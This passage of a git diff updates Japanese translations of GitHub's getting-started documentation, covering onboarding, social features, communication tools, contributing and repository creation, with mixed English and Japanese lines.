-| {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API | {% data variables.product.prodname_dotcom %} has a REST API and GraphQL API that you can use to interact with {% data variables.product.product_name %}. For more information, see "[Getting started with the API](/github/extending-github/getting-started-with-the-api)." | The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API would be most helpful if you wanted to automate common tasks, back up your data, or create integrations that extend {% data variables.product.prodname_dotcom %}. |
+| **方法**                                                                                                                                      | **説明**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | **Use cases**                                                                                                                                                                                                                                                                                                     |
+| ------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Browse to {% data variables.product.prodname_dotcom_the_website %}                                                                        | If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete most Git-related actions directly in the browser, from creating and forking repositories to editing files and opening pull requests.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | This method is useful if you want a visual interface and need to do quick, simple changes that don't require working locally.                                                                                                                                                                                     |
+| {% data variables.product.prodname_desktop %}                                                                                               | {% data variables.product.prodname_desktop %} は、コマンドライン上でテキストコマンドを使うのではなく、ビジュアルインターフェースを使って、あなたの {% data variables.product.prodname_dotcom_the_website %} ワークフローを拡張し簡略化します。 For more information on getting started with {% data variables.product.prodname_desktop %}, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)."                                                                                                                                                                                                                                                                                                               | This method is best if you need or want to work with files locally, but prefer using a visual interface to use Git and interact with {% data variables.product.product_name %}.                                                                                                                                   |
+| IDE or text editor                                                                                                                          | You can set a default text editor, like [Atom](https://atom.io/) or [Visual Studio Code](https://code.visualstudio.com/) to open and edit your files with Git, use extensions, and view the project structure. For more information, see "[Associating text editors with Git](/github/using-git/associating-text-editors-with-git)."                                                                                                                                                                                                                                                                                                                                                                                                                                   | This is convenient if you are working with more complex files and projects and want everything in one place, since text editors or IDEs often allow you to directly access the command line in the editor.                                                                                                        |
+| Command line, with or without {% data variables.product.prodname_cli %}                                                                     | For the most granular control and customization of how you use Git and interact with {% data variables.product.product_name %}, you can use the command line. For more information on using Git commands, see "[Git cheatsheet](/github/getting-started-with-github/quickstart/git-cheatsheet)."<br/><br/> {% data variables.product.prodname_cli %} is a separate command-line tool you can install that brings pull requests, issues, {% data variables.product.prodname_actions %}, and other {% data variables.product.prodname_dotcom %} features to your terminal, so you can do all your work in one place. For more information, see "[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)." | This is most convenient if you are already working from the command line, allowing you to avoid switching context, or if you are more comfortable using the command line.                                                                                                                                         |
+| {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API | {% data variables.product.prodname_dotcom %} has a REST API and GraphQL API that you can use to interact with {% data variables.product.product_name %}. For more information, see "[Getting started with the API](/github/extending-github/getting-started-with-the-api)."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API would be most helpful if you wanted to automate common tasks, back up your data, or create integrations that extend {% data variables.product.prodname_dotcom %}. |
 ### 4. Writing on {% data variables.product.product_name %}
-To make your communication clear and organized in issues and pull requests, you can use {% data variables.product.prodname_dotcom %} Flavored Markdown for formatting, which combines an easy-to-read, easy-to-write syntax with some custom functionality. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)."
+To make your communication clear and organized in issues and pull requests, you can use {% data variables.product.prodname_dotcom %} Flavored Markdown for formatting, which combines an easy-to-read, easy-to-write syntax with some custom functionality. 詳しい情報については、「[{% data variables.product.prodname_dotcom %}での執筆とフォーマットについて](/github/writing-on-github/about-writing-and-formatting-on-github)」を参照してください。
 
 You can learn {% data variables.product.prodname_dotcom %} Flavored Markdown with the "[Communicating using Markdown](https://lab.github.com/githubtraining/communicating-using-markdown)" course on {% data variables.product.prodname_learning %}.
 
@@ -96,56 +96,56 @@ Any number of people can work together in repositories across {% data variables.
 
 ### 1. Working with repositories
 
-#### Creating a repository
-A repository is like a folder for your project. You can have any number of public and private repositories in your user account. Repositories can contain folders and files, images, videos, spreadsheets, and data sets, as well as the revision history for all files in the repository. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/about-repositories)."
+#### リポジトリを作成する
+リポジトリは、プロジェクトのフォルダーのようなものです。 You can have any number of public and private repositories in your user account. Repositories can contain folders and files, images, videos, spreadsheets, and data sets, as well as the revision history for all files in the repository. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/about-repositories)."
 
-When you create a new repository, you should initialize the repository with a README file to let people know about your project. For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)."
+When you create a new repository, you should initialize the repository with a README file to let people know about your project. 詳しい情報については「[新しいリポジトリの作成](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)」を参照してください。
 
-#### Cloning a repository
-You can clone an existing repository from {% data variables.product.product_name %} to your local computer, making it easier to add or remove files, fix merge conflicts, or make complex commits. Cloning a repository pulls down a full copy of all the repository data that {% data variables.product.prodname_dotcom %} has at that point in time, including all versions of every file and folder for the project. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)."
+#### リポジトリをクローンする
+You can clone an existing repository from {% data variables.product.product_name %} to your local computer, making it easier to add or remove files, fix merge conflicts, or make complex commits. リポジトリをクローンすると、その時点で {% data variables.product.prodname_dotcom %} にあるすべてのリポジトリデータの完全なコピーがプルダウンされます。これには、プロジェクトのすべてのファイルとフォルダのすべてのバージョンも含まれます。 詳しい情報については[リポジトリのクローン](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)を参照してください。
 
-#### Forking a repository
-A fork is a copy of a repository that you manage, where any changes you make will not affect the original repository unless you submit a pull request to the project owner. Most commonly, forks are used to either propose changes to someone else's project or to use someone else's project as a starting point for your own idea. For more information, see "[Working with forks](/github/collaborating-with-pull-requests/working-with-forks)."
-### 2. Importing your projects
+#### リポジトリをフォークする
+A fork is a copy of a repository that you manage, where any changes you make will not affect the original repository unless you submit a pull request to the project owner. 一般的にフォークは、他のユーザのプロジェクトへの変更を提案するため、あるいは他のユーザのプロジェクトを自分のアイディアの出発点として活用するために使用します。 For more information, see "[Working with forks](/github/collaborating-with-pull-requests/working-with-forks)."
+### 2. プロジェクトのインポート
 If you have existing projects you'd like to move over to {% data variables.product.product_name %} you can import projects using the {% data variables.product.prodname_dotcom %} Importer, the command line, or external migration tools. For more information, see "[Importing source code to {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-source-code-to-github)."
 
 ### 3. Managing collaborators and permissions
-You can collaborate on your project with others using your repository's issues, pull requests, and project boards. You can invite other people to your repository as collaborators from the **Collaborators** tab in the repository settings. For more information, see "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)."
+リポジトリの Issue、プルリクエスト、プロジェクトボードを使ってプロジェクトで他者とコラボレーションできます。 You can invite other people to your repository as collaborators from the **Collaborators** tab in the repository settings. 詳しい情報については、「[コラボレータを個人リポジトリに招待する](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)」を参照してください。
 
-You are the owner of any repository you create in your user account and have full control of the repository. Collaborators have write access to your repository, limiting what they have permission to do. For more information, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)."
+You are the owner of any repository you create in your user account and have full control of the repository. Collaborators have write access to your repository, limiting what they have permission to do. 詳しい情報については[ユーザアカウントのリポジトリ権限レベル](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)を参照してください。
 
-### 4. Managing repository settings
-As the owner of a repository you can configure several settings, including the repository's visibility, topics, and social media preview. For more information, see "[Managing repository settings](/github/administering-a-repository/managing-repository-settings)."
+### 4. リポジトリ設定を管理する
+As the owner of a repository you can configure several settings, including the repository's visibility, topics, and social media preview. 詳しい情報については、「[リポジトリ設定を管理する](/github/administering-a-repository/managing-repository-settings)」を参照してください。
 
-### 5. Setting up your project for healthy contributions
+### 5. 健全なコントリビューションを促すプロジェクトをセットアップする
 {% ifversion fpt or ghec %}
 To encourage collaborators in your repository, you need a community that encourages people to use, contribute to, and evangelize your project. For more information, see "[Building Welcoming Communities](https://opensource.guide/building-community/)" in the Open Source Guides.
 
-By adding files like contributing guidelines, a code of conduct, and a license to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+By adding files like contributing guidelines, a code of conduct, and a license to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. 詳しい情報については、「[健全なコントリビューションを促すプロジェクトをセットアップする](/communities/setting-up-your-project-for-healthy-contributions)」を参照してください。
 {% endif %}
 {% ifversion ghes or ghae %}
-By adding files like contributing guidelines, a code of conduct, and support resources to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+By adding files like contributing guidelines, a code of conduct, and support resources to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. 詳しい情報については、「[健全なコントリビューションを促すプロジェクトをセットアップする](/communities/setting-up-your-project-for-healthy-contributions)」を参照してください。
 {% endif %}
 
 ### 6. Using GitHub Issues and project boards
 You can use GitHub Issues to organize your work with issues and pull requests and manage your workflow with project boards. For more information, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)" and "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)."
 
 ### 7. Managing notifications
-Notifications provide updates about the activity on {% data variables.product.prodname_dotcom %} you've subscribed to or participated in. If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
+Notifications provide updates about the activity on {% data variables.product.prodname_dotcom %} you've subscribed to or participated in. 会話に関心がなくなった場合は、今後受信する通知の種類を、サブスクライブ解除、Watch 解除、またはカスタマイズできます。 詳しい情報については、「[通知について](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)」を参照してください。
 
-### 8. Working with {% data variables.product.prodname_pages %}
-You can use {% data variables.product.prodname_pages %} to create and host a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)."
+### 8. {% data variables.product.prodname_pages %} の活用
+You can use {% data variables.product.prodname_pages %} to create and host a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. 詳しい情報については、「[{% data variables.product.prodname_pages %} について](/pages/getting-started-with-github-pages/about-github-pages)」を参照してください。
 
 {% ifversion fpt or ghec %}
-### 9. Using {% data variables.product.prodname_discussions %}
-You can enable {% data variables.product.prodname_discussions %} for your repository to help build a community around your project. Maintainers, contributors and visitors can use discussions to share announcements, ask and answer questions, and participate in conversations around goals. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."
+### 9. {% data variables.product.prodname_discussions %}を使用する
+You can enable {% data variables.product.prodname_discussions %} for your repository to help build a community around your project. Maintainers, contributors and visitors can use discussions to share announcements, ask and answer questions, and participate in conversations around goals. 詳しい情報については「[ディスカッションについて](/discussions/collaborating-with-your-community-using-discussions/about-discussions)」を参照してください。
 {% endif %}
 ## Part 4: Customizing and automating your work on {% data variables.product.product_name %}
 
 {% data reusables.getting-started.customizing-and-automating %}
 
 {% ifversion fpt or ghec %}
-### 1. Using {% data variables.product.prodname_marketplace %}
+### 1. {% data variables.product.prodname_marketplace %}を使用する
 {% data reusables.getting-started.marketplace %}
 {% endif %}
 ### {% ifversion fpt or ghec %}2.{% else %}1.{% endif %} Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
@@ -154,20 +154,20 @@ You can enable {% data variables.product.prodname_discussions %} for your reposi
 ### {% ifversion fpt or ghec %}3.{% else %}2.{% endif %} Building {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
 
-### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publishing and managing {% data variables.product.prodname_registry %} 
+### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publishing and managing {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
 
 ## Part 5: Building securely on {% data variables.product.product_name %}
 {% data variables.product.product_name %} has a variety of security features that help keep code and secrets secure in repositories. Some features are available for all repositories, while others are only available for public repositories and repositories with a {% data variables.product.prodname_GH_advanced_security %} license. For an overview of {% data variables.product.product_name %} security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
 
-### 1. Securing your repository
-As a repository administrator, you can secure your repositories by configuring repository security settings. These include managing access to your repository, setting a security policy, and managing dependencies. For public repositories, and for private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled, you can also configure code and secret scanning to automatically identify vulnerabilities and ensure tokens and keys are not exposed. 
+### 1. リポジトリを保護する
+As a repository administrator, you can secure your repositories by configuring repository security settings. These include managing access to your repository, setting a security policy, and managing dependencies. For public repositories, and for private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled, you can also configure code and secret scanning to automatically identify vulnerabilities and ensure tokens and keys are not exposed.
 
 For more information on steps you can take to secure your repositories, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."
 
 {% ifversion fpt or ghec %}
 ### 2. Managing your dependencies
-A large part of building securely is maintaining your project's dependencies to ensure that all packages and applications you depend on are updated and secure. You can manage your repository's dependencies on {% data variables.product.product_name %} by exploring the dependency graph for your repository, using Dependabot to automatically raise pull requests to keep your dependencies up-to-date, and receiving Dependabot alerts and security updates for vulnerable dependencies. 
+A large part of building securely is maintaining your project's dependencies to ensure that all packages and applications you depend on are updated and secure. You can manage your repository's dependencies on {% data variables.product.product_name %} by exploring the dependency graph for your repository, using Dependabot to automatically raise pull requests to keep your dependencies up-to-date, and receiving Dependabot alerts and security updates for vulnerable dependencies.
 
 For more information, see "[Securing your software supply chain](/code-security/supply-chain-security)."
 {% endif %}
@@ -193,11 +193,11 @@ For more information, see "[Securing your software supply chain](/code-security/
 ### 5. Supporting the open source community
 {% data reusables.getting-started.sponsors %}
 
-### 6. Contacting {% data variables.contact.github_support %}
+### 6. {% data variables.contact.github_support %} への連絡
 {% data reusables.getting-started.contact-support %}
 
 {% ifversion fpt %}
-## Further reading
-- "[Getting started with {% data variables.product.prodname_team %}](/get-started/onboarding/getting-started-with-github-team)"
+## 参考リンク
+- 「[{% data variables.product.prodname_team %} を使ってみる](/get-started/onboarding/getting-started-with-github-team)」
 {% endif %}
 {% endif %}
diff --git a/translations/ja-JP/content/get-started/quickstart/be-social.md b/translations/ja-JP/content/get-started/quickstart/be-social.md
index e59c630dd1..e67ae556ba 100644
--- a/translations/ja-JP/content/get-started/quickstart/be-social.md
+++ b/translations/ja-JP/content/get-started/quickstart/be-social.md
@@ -1,11 +1,11 @@
 ---
-title: Be social
+title: ソーシャル機能
 redirect_from:
   - /be-social
   - /articles/be-social
   - /github/getting-started-with-github/be-social
   - /github/getting-started-with-github/quickstart/be-social
-intro: 'You can interact with people, repositories, and organizations on {% data variables.product.prodname_dotcom %}. See what others are working on and who they''re connecting with from your personal dashboard.'
+intro: '{% data variables.product.prodname_dotcom %} 上で、人々、リポジトリ、Organization と関わることができます。 個人ダッシュボードから、他の人々がどんな作業をしていて、何とつながっているのかを見てください。'
 permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}'
 versions:
   fpt: '*'
@@ -19,25 +19,26 @@ topics:
   - Notifications
   - Accounts
 ---
-To learn about accessing your personal dashboard, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
 
-## Following people
+個人ダッシュボードへのアクセスについて学ぶには、「[個人ダッシュボードについて](/articles/about-your-personal-dashboard)」を参照してください。
 
-When you follow someone on {% data variables.product.prodname_dotcom %}, you'll get notifications on your personal dashboard about their activity. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+## 人をフォローする
 
-Click **Follow** on a person's profile page to follow them.
+{% data variables.product.prodname_dotcom %} 上で人をフォローすれば、その人のアクティビティについてパーソナルダッシュボードで通知を受けられます。 詳しい情報については[パーソナルダッシュボードについて](/articles/about-your-personal-dashboard)を参照してください。
 
-![Follow user button](/assets/images/help/profile/follow-user-button.png)
+人をフォローするには、その人のプロフィールページで [**Follow**] をクリックします。
 
-## Watching a repository
+![ユーザのフォローボタン](/assets/images/help/profile/follow-user-button.png)
 
-You can watch a repository to receive notifications for new pull requests and issues. When the owner updates the repository, you'll see the changes in your personal dashboard. For more information see {% ifversion fpt or ghae or ghes or ghec %}"[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions){% else %}"[Watching and unwatching repositories](/github/receiving-notifications-about-activity-on-github/watching-and-unwatching-repositories){% endif %}."
+## リポジトリを Watch する
 
-Click **Watch** at the top of a repository to watch it.
+リポジトリを Watch して、新しいプルリクエストと Issue に関する通知を受け取ることができます。 オーナーがリポジトリを更新すると、個人ダッシュボード上で変更を見ることができます。 詳しい情報については、{% ifversion fpt or ghae or ghes or ghec %}「[サブスクリプションを表示する](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions){% else %}「[リポジトリを Watch および Watch 解除する](/github/receiving-notifications-about-activity-on-github/watching-and-unwatching-repositories){% endif %}」を参照してください。
 
-![Watch repository button](/assets/images/help/repository/repo-actions-watch.png)
+リポジトリを Watch するには、リポジトリの上部で [**Watch**] をクリックします。
 
-## Joining the conversation
+![リポジトリの Watch ボタン](/assets/images/help/repository/repo-actions-watch.png)
+
+## 会話に参加する
 
 {% data reusables.support.ask-and-answer-forum %}
 
@@ -45,34 +46,33 @@ Click **Watch** at the top of a repository to watch it.
 
 {% data variables.product.product_name %} provides built-in collaborative communication tools, such as issues and pull requests, allowing you to interact closely with your community when building great software. For an overview of these tools, and information about the specificity of each, see "[Quickstart for communicating on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github)."
 
-## Doing even more
+## さらなる活動
 
-### Creating pull requests
+### プルリクエストを作成する
 
- You may want to contribute to another person's project, whether to add features or to fix bugs. After making changes, let the original author know by sending a pull request. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."
+ 機能を追加したり、バグを修正したりして、他者のプロジェクトにコントリビュートしたいこともあるでしょう。 変更を行ったら、プルリクエストを送信してオリジナルの作者に知らせましょう。 詳しい情報については[プルリクエストについて](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)を参照してください。
 
- ![Pull request button](/assets/images/help/repository/repo-actions-pullrequest.png)
+ ![プルリクエストボタン](/assets/images/help/repository/repo-actions-pullrequest.png)
 
-### Using issues
+### Issue を使用する
 
-When collaborating on a repository, use issues to track ideas, enhancements, tasks, or bugs. For more information, see '[About issues](/articles/about-issues/)."
+リポジトリでコラボレーションする際に、Issue を使ってアイデア、拡張、タスク、バグを追跡してください。 詳細は「[Issues について](/articles/about-issues/)」を参照してください。
 
-![Issues button](/assets/images/help/repository/repo-tabs-issues.png)
+![Issue ボタン](/assets/images/help/repository/repo-tabs-issues.png)
 
-### Participating in organizations
+### Organization への参加
 
-Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can establish teams with special permissions, have a public organization profile, and keep track of activity within the organization. For more information, see "[About organizations](/articles/about-organizations/)."
+Organizationは、企業やオープンソースプロジェクトが多くのプロジェクトにわたって一度にコラボレーションできる共有アカウントです。 オーナーや管理者は、特殊な権限を持つ Team を作ることができ、パブリックな Organization のプロフィールを持つことができ、Organization 内でのアクティビティを追跡することができます。 詳細は「[Organization について](/articles/about-organizations/)」を参照してください。
 
-![Switch account context dropdown](/assets/images/help/overview/dashboard-contextswitcher.png)
+![アカウントのコンテキストの切り替えのドロップダウン](/assets/images/help/overview/dashboard-contextswitcher.png)
 
-### Exploring other projects on {% data variables.product.prodname_dotcom %}
+### {% data variables.product.prodname_dotcom %} 上の他のプロジェクトを調べる
 
-Discover interesting projects using {% data variables.explore.explore_github %}, [Explore repositories](https://github.com/explore), and the {% data variables.explore.trending_page %}. Star interesting projects and come back to them later. Visit your {% data variables.explore.your_stars_page %} to see all your starred projects.  For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard/)." 
+{% data variables.explore.explore_github %}、[リポジトリを調べる](https://github.com/explore)、そして {% data variables.explore.trending_page %} を使って、興味深いプロジェクトを見つけてください。 興味深いプロジェクトに Star を付け、後から戻っていってください。 {% data variables.explore.your_stars_page %} にアクセスすれば、Star を付けたすべてのプロジェクトを見ることができます。  詳細は「[パーソナルダッシュボードについて](/articles/about-your-personal-dashboard/)」を参照してください。
 
-## Celebrate
+## おめでとうございます
 
-You're now connected to the {% data variables.product.product_name %} community. What do you want to do next?
-![Star a project](/assets/images/help/stars/star-a-project.png)
+これで、{% data variables.product.product_name %} コミュニティにつながりました。 次に何をしたいですか? ![プロジェクトに Star を付ける](/assets/images/help/stars/star-a-project.png)
 
 
 - To synchronize your {% data variables.product.product_name %} projects with your computer, you can set up Git. For more information see "[Set up Git](/articles/set-up-git)."
diff --git a/translations/ja-JP/content/get-started/quickstart/communicating-on-github.md b/translations/ja-JP/content/get-started/quickstart/communicating-on-github.md
index 3f155a9a7e..73f5cb509b 100644
--- a/translations/ja-JP/content/get-started/quickstart/communicating-on-github.md
+++ b/translations/ja-JP/content/get-started/quickstart/communicating-on-github.md
@@ -19,7 +19,8 @@ topics:
   - Discussions
   - Fundamentals
 ---
-## Introduction
+
+## はじめに
 
 {% data variables.product.product_name %} provides built-in collaborative communication tools allowing you to interact closely with your community. This quickstart guide will show you how to pick the right tool for your needs.
 
@@ -31,27 +32,27 @@ You can create and participate in issues, pull requests and team discussions, de
 {% endif %}
 
 ### {% data variables.product.prodname_github_issues %}
-- are useful for discussing specific details of a project such as bug reports, planned improvements and feedback. 
-- are specific to a repository, and usually have a clear owner. 
+- are useful for discussing specific details of a project such as bug reports, planned improvements and feedback.
+- are specific to a repository, and usually have a clear owner.
 - are often referred to as {% data variables.product.prodname_dotcom %}'s bug-tracking system.
-  
-### Pull requests
+
+### プルリクエスト
 - allow you to propose specific changes.
-- allow you to comment directly on proposed changes suggested by others. 
-- are specific to a repository. 
- 
+- allow you to comment directly on proposed changes suggested by others.
+- are specific to a repository.
+
 {% ifversion fpt or ghec %}
 ### {% data variables.product.prodname_discussions %}
--  are like a forum, and are best used for open-form ideas and discussions where collaboration is important. 
--  may span many repositories. 
+-  are like a forum, and are best used for open-form ideas and discussions where collaboration is important.
+-  may span many repositories.
 -  provide a collaborative experience outside the codebase, allowing the brainstorming of ideas, and the creation of a community knowledge base.
 -  often don’t have a clear owner.
 -  often do not result in an actionable task.
 {% endif %}
 
-### Team discussions
-- can be started on your team's page for conversations that span across projects and don't belong in a specific issue or pull request. Instead of opening an issue in a repository to discuss an idea, you can include the entire team by having a conversation in a team discussion.
-- allow you to hold discussions with your team about planning, analysis, design, user research and general project decision making in one place.{% ifversion ghes or ghae %} 
+### Team ディスカッション
+- can be started on your team's page for conversations that span across projects and don't belong in a specific issue or pull request. アイデアについてディスカッションするためにリポジトリでIssueを開く代わりに、Teamディスカッションで会話することでTeam全体を巻き込めます。
+- allow you to hold discussions with your team about planning, analysis, design, user research and general project decision making in one place.{% ifversion ghes or ghae %}
 - provide a collaborative experience outside the codebase, allowing the brainstorming of ideas.
 - often don’t have a clear owner.
 - often do not result in an actionable task.{% endif %}
@@ -65,13 +66,13 @@ You can create and participate in issues, pull requests and team discussions, de
 - I want to share feedback about a specific feature.
 - I want to ask a question about files in the repository.
 
-#### Issue example
+#### Issueの例
 
-This example illustrates how a {% data variables.product.prodname_dotcom %} user created an issue in our documentation open source repository to make us aware of a bug, and discuss a fix. 
+This example illustrates how a {% data variables.product.prodname_dotcom %} user created an issue in our documentation open source repository to make us aware of a bug, and discuss a fix.
 
 ![Example of issue](/assets/images/help/issues/issue-example.png)
 
-- A user noticed that the blue color of the banner at the top of the page in the Chinese version of the {% data variables.product.prodname_dotcom %} Docs makes the text in the banner unreadable. 
+- A user noticed that the blue color of the banner at the top of the page in the Chinese version of the {% data variables.product.prodname_dotcom %} Docs makes the text in the banner unreadable.
 - The user created an issue in the repository, stating the problem and suggesting a fix (which is, use a different background color for the banner).
 - A discussion ensues, and eventually, a consensus will be reached about the fix to apply.
 - A contributor can then create a pull request with the fix.
@@ -85,7 +86,7 @@ This example illustrates how a {% data variables.product.prodname_dotcom %} user
 
 #### Pull request example
 
-This example illustrates how a {% data variables.product.prodname_dotcom %} user created a pull request in our documentation open source repository to fix a typo. 
+This example illustrates how a {% data variables.product.prodname_dotcom %} user created a pull request in our documentation open source repository to fix a typo.
 
 In the **Conversation** tab of the pull request, the author explains why they created the pull request.
 
@@ -141,16 +142,16 @@ The `octocat` team member posted a team discussion, informing the team of variou
 
 {% endif %}
 
-## Next steps
+## 次のステップ
 
 These examples showed you how to decide which is the best tool for your conversations on {% data variables.product.product_name %}. But this is only the beginning; there is so much more you can do to tailor these tools to your needs.
 
 For issues, for example, you can tag issues with labels for quicker searching and create issue templates to help contributors open meaningful issues. For more information, see "[About issues](/github/managing-your-work-on-github/about-issues#working-with-issues)" and "[About issue and pull request templates](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates)."
 
-For pull requests, you can create draft pull requests if your proposed changes are still a work in progress. Draft pull requests cannot be merged until they're marked as ready for review. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)."
+For pull requests, you can create draft pull requests if your proposed changes are still a work in progress. Draft pull requests cannot be merged until they're marked as ready for review. 詳しい情報については[プルリクエストについて](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)を参照してください。
 
 {% ifversion fpt or ghec %}
-For {% data variables.product.prodname_discussions %}, you can set up a code of conduct and pin discussions that contain important information for your community. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."
+For {% data variables.product.prodname_discussions %}, you can set up a code of conduct and pin discussions that contain important information for your community. 詳しい情報については「[ディスカッションについて](/discussions/collaborating-with-your-community-using-discussions/about-discussions)」を参照してください。
 {% endif %}
 
-For team discussions, you can edit or delete discussions on a team's page, and you can configure notifications for team discussions. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)."
+For team discussions, you can edit or delete discussions on a team's page, and you can configure notifications for team discussions. 詳しい情報については[Team ディスカッションについて](/organizations/collaborating-with-your-team/about-team-discussions)を参照してください。
diff --git a/translations/ja-JP/content/get-started/quickstart/contributing-to-projects.md b/translations/ja-JP/content/get-started/quickstart/contributing-to-projects.md
index f485590720..da9abcce7b 100644
--- a/translations/ja-JP/content/get-started/quickstart/contributing-to-projects.md
+++ b/translations/ja-JP/content/get-started/quickstart/contributing-to-projects.md
@@ -34,7 +34,6 @@ You've successfully forked the Spoon-Knife repository, but so far, it only exist
 
 You can clone your fork with the command line, {% data variables.product.prodname_cli %}, or {% data variables.product.prodname_desktop %}.
 
-{% include tool-switcher %}
 {% webui %}
 
 1. {% data variables.product.product_name %} で、Spoon-Knife リポジトリの**自分のフォーク**に移動します。
@@ -86,7 +85,6 @@ Go ahead and make a few changes to the project using your favorite text editor,
 
 When you're ready to submit your changes, stage and commit your changes. `git add .` tells Git that you want to include all of your changes in the next commit. `git commit` takes a snapshot of those changes.
 
-{% include tool-switcher %}
 {% webui %}
 
 ```shell
@@ -115,7 +113,6 @@ When you stage and commit files, you essentially tell Git, "Okay, take a snapsho
 
 Right now, your changes only exist locally. When you're ready to push your changes up to {% data variables.product.product_name %}, push your changes to the remote.
 
-{% include tool-switcher %}
 {% webui %}
 
 ```shell
diff --git a/translations/ja-JP/content/get-started/quickstart/create-a-repo.md b/translations/ja-JP/content/get-started/quickstart/create-a-repo.md
index d3b24b7e93..8c7163d97f 100644
--- a/translations/ja-JP/content/get-started/quickstart/create-a-repo.md
+++ b/translations/ja-JP/content/get-started/quickstart/create-a-repo.md
@@ -1,11 +1,11 @@
 ---
-title: Create a repo
+title: リポジトリを作成する
 redirect_from:
   - /create-a-repo
   - /articles/create-a-repo
   - /github/getting-started-with-github/create-a-repo
   - /github/getting-started-with-github/quickstart/create-a-repo
-intro: 'To put your project up on {% data variables.product.prodname_dotcom %}, you''ll need to create a repository for it to live in.'
+intro: 'プロジェクトを {% data variables.product.prodname_dotcom %} に保存するには、それを保存するためのリポジトリを作成する必要があります。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -17,15 +17,16 @@ topics:
   - Notifications
